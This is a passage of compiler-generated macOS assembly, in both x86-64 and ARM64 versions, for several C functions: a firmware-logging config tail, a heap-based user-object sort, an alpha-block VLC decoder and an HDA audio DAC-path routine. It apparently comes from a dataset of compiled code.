Lloh28, Lloh29, Lloh30 .loh AdrpLdrGotLdr Lloh31, Lloh32, Lloh33 .loh AdrpLdrGot Lloh36, Lloh37 .loh AdrpLdrGot Lloh34, Lloh35 .loh AdrpLdrGotLdr Lloh38, Lloh39, Lloh40 .cfi_endproc ; -- End function .comm _ice_aqc_opc_fw_logging,4,2 ; @ice_aqc_opc_fw_logging .comm _ICE_AQC_FW_LOG_AQ_VALID,4,2 ; @ICE_AQC_FW_LOG_AQ_VALID .comm _ICE_AQC_FW_LOG_UART_VALID,4,2 ; @ICE_AQC_FW_LOG_UART_VALID .comm _ICE_AQC_FW_LOG_ID_MAX,8,3 ; @ICE_AQC_FW_LOG_ID_MAX .comm _ICE_FW_LOG_DESC_SIZE_MAX,4,2 ; @ICE_FW_LOG_DESC_SIZE_MAX .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm _ICE_ERR_NO_MEMORY,4,2 ; @ICE_ERR_NO_MEMORY .comm _ICE_AQC_FW_LOG_ID_S,8,3 ; @ICE_AQC_FW_LOG_ID_S .comm _ICE_AQC_FW_LOG_EN_S,8,3 ; @ICE_AQC_FW_LOG_EN_S .comm _ICE_AQC_FW_LOG_AQ_EN,4,2 ; @ICE_AQC_FW_LOG_AQ_EN .comm _ICE_AQC_FW_LOG_UART_EN,4,2 ; @ICE_AQC_FW_LOG_UART_EN .comm _ICE_AQ_FLAG_RD,8,3 ; @ICE_AQ_FLAG_RD .comm _ICE_AQC_FW_LOG_ID_M,8,3 ; @ICE_AQC_FW_LOG_ID_M .no_dead_strip _ice_cfg_fw_log .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _sort_user_objects ## -- Begin function sort_user_objects .p2align 4, 0x90 _sort_user_objects: ## @sort_user_objects .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %r9d, %ebx movl %r8d, %r15d movl %ecx, %r13d movq %rdx, -80(%rbp) ## 8-byte Spill movl %esi, %r12d movl %edi, %r14d callq _check_user_id testl %eax, %eax jne LBB0_2 ## %bb.1: movl %r15d, %edi callq _check_rating_num testl %eax, %eax je LBB0_10 LBB0_2: movl %r13d, -48(%rbp) ## 4-byte Spill movl %r15d, -52(%rbp) ## 4-byte Spill movl %r14d, %edi callq _get_local_user_id testl %eax, %eax je LBB0_41 ## %bb.3: movl %eax, %r13d setg %al movzbl %al, %edi callq _assert movl %r14d, %edi callq _conv_user_id movq %rax, %r14 xorl %edi, %edi testq %rax, %rax setne %dil callq _assert movq _NOAIO@GOTPCREL(%rip), %rax movl (%rax), %edx movq %r14, %rdi movl %r13d, %esi callq _load_user_metafile movl $-2, %ecx testq %rax, %rax jne LBB0_42 ## %bb.4: xorl %edi, %edi cmpq $0, -80(%rbp) ## 8-byte Folded Reload setne %dil callq _assert movq _MAX_CNT@GOTPCREL(%rip), %rax movl (%rax), %eax cmpl %r12d, %eax cmovll %eax, %r12d movl -48(%rbp), %ecx ## 4-byte Reload cmpl %ecx, %eax cmovll %eax, %ecx xorl %esi, %esi testl %ecx, %ecx movl $0, %eax movl %ecx, -48(%rbp) ## 4-byte Spill cmovgl %ecx, %eax movl %eax, -60(%rbp) ## 4-byte Spill testl %r12d, %r12d movl -52(%rbp), %r13d ## 4-byte Reload jle LBB0_27 ## %bb.5: movl %ebx, -56(%rbp) ## 4-byte Spill movl %r12d, %r13d xorl %ebx, %ebx xorl %r12d, %r12d jmp LBB0_7 .p2align 4, 0x90 LBB0_6: ## in Loop: Header=BB0_7 Depth=1 incq %rbx cmpq %rbx, %r13 je LBB0_11 LBB0_7: ## =>This Inner Loop Header: Depth=1 movq -80(%rbp), %rax ## 8-byte Reload movq (%rax,%rbx,8), %rsi movq %r14, %rdi callq _user_get_object_local_id_type_id testl %eax, %eax je LBB0_6 ## %bb.8: ## in Loop: Header=BB0_7 Depth=1 movq _objects_to_sort@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movslq %r12d, %rdx incl %r12d movl %eax, (%rcx,%rdx,4) jmp LBB0_6 LBB0_10: movq _bad_requests@GOTPCREL(%rip), %rax decl (%rax) movl $-1, %ecx jmp LBB0_42 LBB0_11: cmpl $0, -48(%rbp) ## 4-byte Folded Reload setg %al testl %r12d, %r12d setg %cl andb %al, %cl xorl %esi, %esi cmpb $1, %cl movl -52(%rbp), %r13d ## 4-byte Reload movl -56(%rbp), %ebx ## 4-byte Reload jne LBB0_27 ## %bb.12: movl %r12d, %edi xorl %r12d, %r12d movq _heap@GOTPCREL(%rip), %r15 xorl %esi, %esi movq %rdi, -72(%rbp) ## 8-byte Spill jmp LBB0_15 .p2align 4, 0x90 LBB0_13: ## in Loop: Header=BB0_15 Depth=1 movq _objects_to_sort@GOTPCREL(%rip), %rax movq (%rax), %rax movl (%rax,%r12,4), %eax movq (%r15), %rcx movslq %esi, %rdx incl %esi movl %eax, 4(%rcx,%rdx,4) LBB0_14: ## in Loop: Header=BB0_15 Depth=1 incq %r12 cmpq %rdi, %r12 je LBB0_27 LBB0_15: ## =>This Loop Header: Depth=1 ## Child Loop BB0_19 Depth 2 testl %ebx, %ebx jne LBB0_13 ## %bb.16: ## in Loop: Header=BB0_15 Depth=1 cmpl -60(%rbp), %esi ## 4-byte Folded Reload movq _objects_to_sort@GOTPCREL(%rip), %rcx jge LBB0_22 ## %bb.17: ## in Loop: Header=BB0_15 Depth=1 movq (%rcx), %rax movl (%rax,%r12,4), %ecx movq (%r15), %rax leal 1(%rsi), %r9d movslq %esi, %rdx movl %ecx, 4(%rax,%rdx,4) testl %esi, %esi jle LBB0_26 ## %bb.18: ## in Loop: Header=BB0_15 Depth=1 movl %r9d, %ecx movl (%rax,%rcx,4), %esi movl %r9d, -48(%rbp) ## 4-byte Spill movl %r9d, %r13d movl %r9d, %ebx .p2align 4, 0x90 LBB0_19: ## Parent Loop BB0_15 Depth=1 ## => This Inner Loop Header: Depth=2 shrl %ebx movl (%rax,%rbx,4), %edx movq %r14, %rdi movl -52(%rbp), %ecx ## 4-byte Reload callq _object_cmp testq %rax, %rax jns LBB0_21 ## %bb.20: ## in Loop: Header=BB0_19 Depth=2 movl %r13d, %ecx movq (%r15), %rax movl (%rax,%rcx,4), %esi movl (%rax,%rbx,4), %edx movl %edx, (%rax,%rcx,4) movl %esi, (%rax,%rbx,4) cmpl $3, %r13d movl %ebx, %r13d ja LBB0_19 LBB0_21: ## in Loop: Header=BB0_15 Depth=1 movl -48(%rbp), %eax ## 4-byte Reload movl %eax, %esi movl -52(%rbp), %r13d ## 4-byte Reload movl -56(%rbp), %ebx ## 4-byte Reload jmp LBB0_25 LBB0_22: ## in Loop: Header=BB0_15 Depth=1 movq %rsi, -48(%rbp) ## 8-byte Spill movq (%r15), %rax movl 4(%rax), %esi movq (%rcx), %rax movl (%rax,%r12,4), %edx movq %r14, %rdi movl %r13d, %ecx callq _object_cmp testq %rax, %rax jns LBB0_24 ## %bb.23: ## in Loop: Header=BB0_15 Depth=1 movq _objects_to_sort@GOTPCREL(%rip), %rax movq (%rax), %rax movl (%rax,%r12,4), %eax movq (%r15), %rsi movl %eax, 4(%rsi) movq %r14, %rdi movq -48(%rbp), %rdx ## 8-byte Reload ## kill: def $edx killed $edx killed $rdx movl %r13d, %ecx callq _fix_down LBB0_24: ## in Loop: Header=BB0_15 Depth=1 movq -48(%rbp), %rsi ## 8-byte Reload LBB0_25: ## in Loop: Header=BB0_15 Depth=1 movq -72(%rbp), %rdi ## 8-byte Reload jmp LBB0_14 LBB0_26: ## in Loop: Header=BB0_15 Depth=1 movl %r9d, %esi jmp LBB0_14 LBB0_27: testl %ebx, %ebx je LBB0_31 ## %bb.28: testl %esi, %esi movq %rsi, -48(%rbp) ## 8-byte Spill jle LBB0_35 ## %bb.29: movl %esi, %ebx xorl %r12d, %r12d movq _weight@GOTPCREL(%rip), %r15 .p2align 4, 0x90 LBB0_30: ## =>This Inner Loop Header: Depth=1 movq _heap@GOTPCREL(%rip), %rax movq (%rax), %rax movl 4(%rax,%r12,4), %esi movq %r14, %rdi movl %r13d, %edx callq _user_get_object_weight movq (%r15), %rcx movl %eax, (%rcx,%r12,4) incq %r12 cmpq %r12, %rbx jne LBB0_30 jmp LBB0_36 LBB0_31: testl %esi, %esi je LBB0_41 ## %bb.32: movslq %esi, %rbx movq %rsi, %r15 leal -1(%rsi), %r12d .p2align 4, 0x90 LBB0_33: ## =>This Inner Loop Header: Depth=1 movq _heap@GOTPCREL(%rip), %rax movq (%rax), %rsi movl 4(%rsi), %eax movq _objects_to_sort@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movl %eax, -4(%rcx,%rbx,4) movl (%rsi,%rbx,4), %eax movl %eax, 4(%rsi) movq %r14, %rdi movl %r12d, %edx movl %r13d, %ecx callq _fix_down decl %r12d decq %rbx jne LBB0_33 ## %bb.34: movq %r15, %rcx jmp LBB0_37 LBB0_41: xorl %ecx, %ecx jmp LBB0_42 LBB0_35: movq _weight@GOTPCREL(%rip), %rax movq (%rax), %rcx LBB0_36: movq _heap@GOTPCREL(%rip), %rax movq (%rax), %rdx addq $4, %rdx movq _objects_to_sort@GOTPCREL(%rip), %rax movq (%rax), %r8 movl -60(%rbp), %edi ## 4-byte Reload movq -48(%rbp), %rsi ## 8-byte Reload ## kill: def $esi killed $esi killed $rsi callq _get_random movl %eax, %ecx LBB0_37: testl %ecx, %ecx jle LBB0_42 ## %bb.38: movq %rcx, -48(%rbp) ## 8-byte Spill movl %ecx, %ebx movq -80(%rbp), %r13 ## 8-byte Reload xorl %r15d, %r15d movq _objects_to_sort@GOTPCREL(%rip), %r12 .p2align 4, 0x90 LBB0_39: ## =>This Inner Loop Header: Depth=1 movq (%r12), %rax movl (%rax,%r15,4), %esi movq %r14, %rdi callq _user_get_object_type_id movq %rax, (%r13,%r15,8) incq %r15 cmpq %r15, %rbx jne LBB0_39 ## %bb.40: movq -48(%rbp), %rcx ## 8-byte Reload LBB0_42: movl %ecx, %eax addq $40, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _bad_requests,4,2 ## @bad_requests .comm _NOAIO,4,2 ## @NOAIO .comm _MAX_CNT,4,2 ## @MAX_CNT .comm _objects_to_sort,8,3 ## @objects_to_sort .comm _heap,8,3 ## @heap .comm _weight,8,3 ## @weight .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _sort_user_objects ; -- Begin function sort_user_objects .p2align 2 _sort_user_objects: ; @sort_user_objects .cfi_startproc ; %bb.0: sub sp, sp, #112 stp x28, x27, [sp, #16] ; 16-byte Folded Spill stp x26, x25, [sp, #32] ; 16-byte Folded Spill stp x24, x23, [sp, #48] ; 16-byte Folded Spill stp x22, x21, [sp, #64] ; 16-byte Folded Spill stp x20, x19, [sp, #80] ; 16-byte Folded Spill stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x22, x5 mov x21, x4 mov x23, x3 mov x19, x2 mov x24, x1 mov x20, x0 bl _check_user_id cbnz w0, LBB0_2 ; %bb.1: mov x0, x21 bl _check_rating_num cbz w0, LBB0_11 LBB0_2: mov x0, x20 bl _get_local_user_id cbz w0, LBB0_5 ; %bb.3: cmp w0, #0 cset w8, gt mov x25, x0 mov x0, x8 bl _assert mov x0, x20 bl _conv_user_id mov x20, x0 cmp x0, #0 cset w0, ne bl _assert Lloh0: adrp x8, _NOAIO@GOTPAGE Lloh1: ldr x8, [x8, _NOAIO@GOTPAGEOFF] Lloh2: ldr w2, [x8] mov x0, x20 mov x1, x25 bl _load_user_metafile cbz x0, LBB0_6 ; %bb.4: mov w24, #-2 ; =0xfffffffe b LBB0_40 LBB0_5: mov w24, #0 ; =0x0 b LBB0_40 LBB0_6: cmp x19, #0 cset w0, ne bl _assert Lloh3: adrp x8, _MAX_CNT@GOTPAGE Lloh4: ldr x8, [x8, _MAX_CNT@GOTPAGEOFF] Lloh5: ldr w8, [x8] cmp w8, w24 csel w24, w8, w24, lt cmp w8, w23 csel w26, w8, w23, lt bic w8, w26, w26, asr #31 str w8, [sp, #12] ; 4-byte Folded Spill Lloh6: adrp x25, _objects_to_sort@GOTPAGE Lloh7: ldr x25, [x25, _objects_to_sort@GOTPAGEOFF] cmp w24, #1 b.lt LBB0_27 ; %bb.7: mov w28, #0 ; =0x0 mov x23, x19 b LBB0_9 LBB0_8: ; in Loop: Header=BB0_9 Depth=1 subs x24, x24, #1 b.eq LBB0_12 LBB0_9: ; =>This Inner Loop Header: Depth=1 ldr x1, [x23], #8 mov x0, x20 bl _user_get_object_local_id_type_id cbz w0, LBB0_8 ; %bb.10: ; in Loop: Header=BB0_9 Depth=1 ldr x8, [x25] str w0, [x8, w28, sxtw #2] add w28, w28, #1 b LBB0_8 LBB0_11: Lloh8: adrp x8, _bad_requests@GOTPAGE Lloh9: ldr x8, [x8, _bad_requests@GOTPAGEOFF] ldr w9, [x8] sub w9, w9, #1 str w9, [x8] mov w24, #-1 ; =0xffffffff b LBB0_40 LBB0_12: cmp w26, #1 b.lt LBB0_28 ; %bb.13: cmp w28, #1 b.lt LBB0_28 ; %bb.14: mov x26, #0 ; =0x0 mov w24, #0 ; =0x0 Lloh10: adrp x27, _heap@GOTPAGE Lloh11: ldr x27, [x27, _heap@GOTPAGEOFF] mov w28, w28 str w22, [sp, #8] ; 4-byte Folded Spill b LBB0_17 LBB0_15: ; in Loop: Header=BB0_17 Depth=1 ldr x8, [x25] ldr w8, [x8, x26, lsl #2] ldr x9, [x27] ; kill: def $w24 killed $w24 killed $x24 def $x24 sxtw x10, w24 add x24, x10, #1 str w8, [x9, x24, lsl #2] ; kill: def $w24 killed $w24 killed $x24 def $x24 LBB0_16: ; in Loop: Header=BB0_17 Depth=1 add x26, x26, #1 cmp x26, x28 b.eq LBB0_28 LBB0_17: ; =>This Loop Header: Depth=1 ; Child Loop BB0_21 Depth 2 cbnz w22, LBB0_15 ; %bb.18: ; in Loop: Header=BB0_17 Depth=1 ldr w8, [sp, #12] ; 4-byte Folded Reload cmp w24, w8 b.ge LBB0_24 ; %bb.19: ; in Loop: Header=BB0_17 Depth=1 ldr x8, [x25] ldr w9, [x8, x26, lsl #2] ldr x8, [x27] sxtw x10, w24 add x23, x10, #1 str w9, [x8, x23, lsl #2] cmp w24, #1 b.lt LBB0_26 ; %bb.20: ; in Loop: Header=BB0_17 Depth=1 ldr w1, [x8, w23, uxtw #2] mov x22, x23 LBB0_21: ; Parent Loop BB0_17 Depth=1 ; => This Inner Loop Header: Depth=2 lsr w24, w22, #1 ldr w2, [x8, w24, uxtw #2] mov x0, x20 mov x3, x21 bl _object_cmp tbz x0, #63, LBB0_23 ; %bb.22: ; in Loop: Header=BB0_21 Depth=2 ldr x8, [x27] ldr w1, [x8, w22, uxtw #2] ldr w9, [x8, w24, uxtw #2] str w9, [x8, w22, uxtw #2] str w1, [x8, w24, uxtw #2] cmp w22, #3 mov x22, x24 b.hi LBB0_21 LBB0_23: ; in Loop: Header=BB0_17 Depth=1 mov x24, x23 ldr w22, [sp, #8] ; 4-byte Folded Reload b LBB0_16 LBB0_24: ; in Loop: Header=BB0_17 Depth=1 ldr x8, [x27] ldr w1, [x8, #4] ldr x8, [x25] ldr w2, [x8, x26, lsl #2] mov x0, x20 mov x3, x21 bl _object_cmp tbz x0, #63, LBB0_16 ; %bb.25: ; in Loop: Header=BB0_17 Depth=1 ldr x8, [x25] ldr w8, [x8, x26, lsl #2] ldr x1, [x27] str w8, [x1, #4] mov x0, x20 mov x2, x24 mov x3, x21 bl _fix_down b LBB0_16 LBB0_26: ; in Loop: Header=BB0_17 Depth=1 mov x24, x23 b LBB0_16 LBB0_27: mov w24, #0 ; =0x0 LBB0_28: cbz w22, LBB0_32 ; %bb.29: Lloh12: adrp x22, _heap@GOTPAGE Lloh13: ldr x22, [x22, _heap@GOTPAGEOFF] cmp w24, #0 b.le LBB0_35 ; %bb.30: mov x23, #0 ; =0x0 add w8, w24, #1 ubfiz x8, x8, #2, #32 sub x26, x8, #4 Lloh14: adrp x27, _weight@GOTPAGE Lloh15: ldr x27, [x27, _weight@GOTPAGEOFF] LBB0_31: ; =>This Inner Loop Header: Depth=1 ldr x8, [x22] add x8, x8, x23 ldr w1, [x8, #4] mov x0, x20 mov x2, x21 bl _user_get_object_weight ldr x3, [x27] str w0, [x3, x23] add x23, x23, #4 cmp x26, x23 b.ne LBB0_31 b LBB0_36 LBB0_32: cbz w24, LBB0_40 ; %bb.33: mov x8, x24 sxtw x23, w8 sub w22, w24, #1 Lloh16: adrp x26, _heap@GOTPAGE Lloh17: ldr x26, [x26, _heap@GOTPAGEOFF] LBB0_34: ; =>This Inner Loop Header: Depth=1 ldr x1, [x26] ldr w8, [x1, #4] ldr x9, [x25] lsl x10, x23, #2 add x9, x9, x10 stur w8, [x9, #-4] sub x23, x23, #1 ldr w8, [x1, x10] str w8, [x1, #4] mov x0, x20 mov x2, x22 mov x3, x21 bl _fix_down sub w22, w22, #1 cbnz x23, LBB0_34 b LBB0_37 LBB0_35: Lloh18: adrp x8, _weight@GOTPAGE Lloh19: ldr x8, [x8, _weight@GOTPAGEOFF] Lloh20: ldr x3, [x8] LBB0_36: ldr x8, [x22] ldr x4, [x25] add x2, x8, #4 ldr w0, [sp, #12] ; 4-byte Folded Reload mov x1, x24 bl _get_random mov x24, x0 LBB0_37: cmp w24, #1 b.lt LBB0_40 ; %bb.38: mov x21, #0 ; =0x0 mov w22, w24 LBB0_39: ; =>This Inner Loop Header: Depth=1 ldr x8, [x25] ldr w1, [x8, x21, lsl #2] mov x0, x20 bl _user_get_object_type_id str x0, [x19, x21, lsl #3] add x21, x21, #1 cmp x22, x21 b.ne LBB0_39 LBB0_40: mov x0, x24 ldp x29, x30, [sp, #96] ; 16-byte Folded Reload ldp x20, x19, [sp, #80] ; 16-byte Folded Reload ldp x22, x21, [sp, #64] ; 16-byte Folded Reload ldp x24, x23, [sp, #48] ; 16-byte Folded Reload ldp x26, x25, [sp, #32] ; 16-byte Folded Reload ldp x28, x27, [sp, #16] ; 16-byte Folded Reload add sp, sp, #112 ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGot Lloh8, Lloh9 .loh AdrpLdrGot Lloh10, Lloh11 .loh AdrpLdrGot Lloh12, Lloh13 .loh AdrpLdrGot Lloh14, Lloh15 .loh AdrpLdrGot Lloh16, Lloh17 .loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20 .cfi_endproc ; -- End function .comm _bad_requests,4,2 ; @bad_requests .comm _NOAIO,4,2 ; @NOAIO .comm _MAX_CNT,4,2 ; @MAX_CNT .comm _objects_to_sort,8,3 ; @objects_to_sort .comm _heap,8,3 ; @heap .comm _weight,8,3 ; @weight .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function decode_alpha_block _decode_alpha_block: ## @decode_alpha_block .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx subq $528, %rsp ## imm = 0x210 .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rsi, %rbx movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -24(%rbp) leaq -544(%rbp), %rdi xorl %esi, %esi movl $512, %edx ## imm = 0x200 callq _memset movq _re@GOTPCREL(%rip), %r14 movl (%r14), %edi movq %rbx, %rsi callq _OPEN_READER movl (%r14), %edi movq %rbx, %rsi callq _UPDATE_CACHE_LE movl (%r14), %esi movq _ff_dc_alpha_run_vlc_le@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _ALPHA_VLC_BITS@GOTPCREL(%rip), %rax movl (%rax), %r8d movq %rbx, %rdx movl $2, %r9d callq _GET_VLC movq _AVERROR_INVALIDDATA@GOTPCREL(%rip), %rax movl (%rax), %eax movq ___stack_chk_guard@GOTPCREL(%rip), %rcx movq (%rcx), %rcx cmpq -24(%rbp), %rcx jne LBB0_2 ## %bb.1: addq $528, %rsp ## imm = 0x210 popq %rbx popq %r14 popq %rbp retq LBB0_2: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _re,4,2 ## @re .comm _ff_dc_alpha_run_vlc_le,4,2 ## @ff_dc_alpha_run_vlc_le .comm _ALPHA_VLC_BITS,4,2 ## @ALPHA_VLC_BITS .comm _AVERROR_INVALIDDATA,4,2 ## @AVERROR_INVALIDDATA .comm _ff_dc_alpha_level_vlc_le,4,2 ## @ff_dc_alpha_level_vlc_le .no_dead_strip _decode_alpha_block .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function decode_alpha_block _decode_alpha_block: ; @decode_alpha_block .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 sub sp, sp, #528 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w27, -40 .cfi_offset w28, -48 mov x19, x1 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-40] add x0, sp, #8 mov w1, #0 ; =0x0 mov w2, #512 ; =0x200 bl _memset Lloh3: adrp x20, _re@GOTPAGE Lloh4: ldr x20, [x20, _re@GOTPAGEOFF] ldr w0, [x20] mov x1, x19 bl _OPEN_READER ldr w0, [x20] mov x1, x19 bl _UPDATE_CACHE_LE ldr w1, [x20] Lloh5: adrp x8, _ff_dc_alpha_run_vlc_le@GOTPAGE Lloh6: ldr x8, [x8, _ff_dc_alpha_run_vlc_le@GOTPAGEOFF] Lloh7: ldr w3, [x8] Lloh8: adrp x8, _ALPHA_VLC_BITS@GOTPAGE Lloh9: ldr x8, [x8, _ALPHA_VLC_BITS@GOTPAGEOFF] Lloh10: ldr w4, [x8] mov x2, x19 mov w5, #2 ; =0x2 bl _GET_VLC Lloh11: adrp x8, _AVERROR_INVALIDDATA@GOTPAGE Lloh12: ldr x8, [x8, _AVERROR_INVALIDDATA@GOTPAGEOFF] Lloh13: ldr w0, [x8] ldur x8, [x29, #-40] Lloh14: adrp x9, ___stack_chk_guard@GOTPAGE Lloh15: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh16: ldr x9, [x9] cmp x9, x8 b.ne LBB0_2 ; %bb.1: add sp, sp, #528 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #48 ; 16-byte Folded Reload ret LBB0_2: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpLdrGot Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _re,4,2 ; @re .comm _ff_dc_alpha_run_vlc_le,4,2 ; @ff_dc_alpha_run_vlc_le .comm _ALPHA_VLC_BITS,4,2 ; @ALPHA_VLC_BITS .comm _AVERROR_INVALIDDATA,4,2 ; @AVERROR_INVALIDDATA .comm _ff_dc_alpha_level_vlc_le,4,2 ; @ff_dc_alpha_level_vlc_le .no_dead_strip _decode_alpha_block .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function add_secret_dac_path _add_secret_dac_path: ## @add_secret_dac_path .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $88, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movq 16(%rdi), %rax movl (%rax), %r14d xorl %r15d, %r15d testl %r14d, %r14d je LBB0_12 ## %bb.1: movq %rdi, %rbx movq %rax, -128(%rbp) ## 8-byte Spill leaq -112(%rbp), %r12 movq %r12, %rdi callq _ARRAY_SIZE leaq 1(%rax), %rcx movq %rbx, %rdi movl %r14d, %esi movq %r12, %rdx callq _snd_hda_get_connections movl %eax, -116(%rbp) ## 4-byte Spill testl %eax, %eax js LBB0_5 ## %bb.2: movl -116(%rbp), %r14d ## 4-byte Reload xorl %r12d, %r12d movq _AC_WID_AUD_OUT@GOTPCREL(%rip), %r13 .p2align 4, 0x90 LBB0_4: ## =>This Inner Loop Header: Depth=1 movq -112(%rbp,%r12,8), %rsi movq %rbx, %rdi callq _get_wcaps movl %eax, %edi callq _get_wcaps_type cmpq (%r13), %rax je LBB0_11 ## %bb.3: ## in Loop: Header=BB0_4 Depth=1 decq %r12 cmpq %r14, %r12 jle LBB0_4 LBB0_5: cmpl $0, (%rbx) jle LBB0_12 ## %bb.6: movq 8(%rbx), %r13 xorl %r14d, %r14d jmp LBB0_7 .p2align 4, 0x90 LBB0_10: ## in Loop: Header=BB0_7 Depth=1 incq %r14 cmpl (%rbx), %r14d jge LBB0_11 LBB0_7: ## =>This Inner Loop Header: Depth=1 leaq (%r14,%r13), %r15 movq %rbx, %rdi movq %r15, %rsi callq _get_wcaps movl %eax, %r12d movl %eax, %edi callq _get_wcaps_type movq _AC_WID_AUD_OUT@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_10 ## %bb.8: ## in Loop: Header=BB0_7 Depth=1 movq _AC_WCAP_DIGITAL@GOTPCREL(%rip), %rax testl %r12d, (%rax) jne LBB0_10 ## %bb.9: movl -116(%rbp), %edx ## 4-byte Reload movslq %edx, %rax incl %edx movq %r15, -112(%rbp,%rax,8) movq -128(%rbp), %rax ## 8-byte Reload movl (%rax), %esi leaq -112(%rbp), %rcx movq %rbx, %rdi callq _snd_hda_override_conn_list movl %eax, %r15d jmp LBB0_12 LBB0_11: xorl %r15d, %r15d LBB0_12: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_14 ## %bb.13: movl %r15d, %eax addq $88, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_14: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _AC_WID_AUD_OUT,8,3 ## @AC_WID_AUD_OUT .comm _AC_WCAP_DIGITAL,4,2 ## @AC_WCAP_DIGITAL .no_dead_strip _add_secret_dac_path .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function add_secret_dac_path _add_secret_dac_path: ; @add_secret_dac_path .cfi_startproc ; %bb.0: sub sp, sp, #160 stp x26, x25, [sp, #80] ; 16-byte Folded Spill stp x24, x23, [sp, #96] ; 16-byte Folded Spill stp x22, x21, [sp, #112] ; 16-byte Folded Spill stp x20, x19, [sp, #128] ; 16-byte Folded Spill stp x29, x30, [sp, #144] ; 16-byte Folded Spill add x29, sp, #144 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] str x8, [sp, #72] ldr x23, [x0, #16] ldr w20, [x23] cbz w20, LBB0_11 ; %bb.1: mov x19, x0 add x21, sp, #8 add x0, sp, #8 bl _ARRAY_SIZE add x2, sp, #8 add x3, x0, #1 mov x0, x19 mov x1, x20 bl _snd_hda_get_connections mov x20, x0 Lloh3: adrp x24, _AC_WID_AUD_OUT@GOTPAGE Lloh4: ldr x24, [x24, _AC_WID_AUD_OUT@GOTPAGEOFF] tbnz w0, #31, LBB0_5 ; %bb.2: mov x22, #0 ; =0x0 mov w25, w20 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr x1, [x21, x22, lsl #3] mov x0, x19 bl _get_wcaps bl _get_wcaps_type ldr x8, [x24] cmp x0, x8 b.eq LBB0_11 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 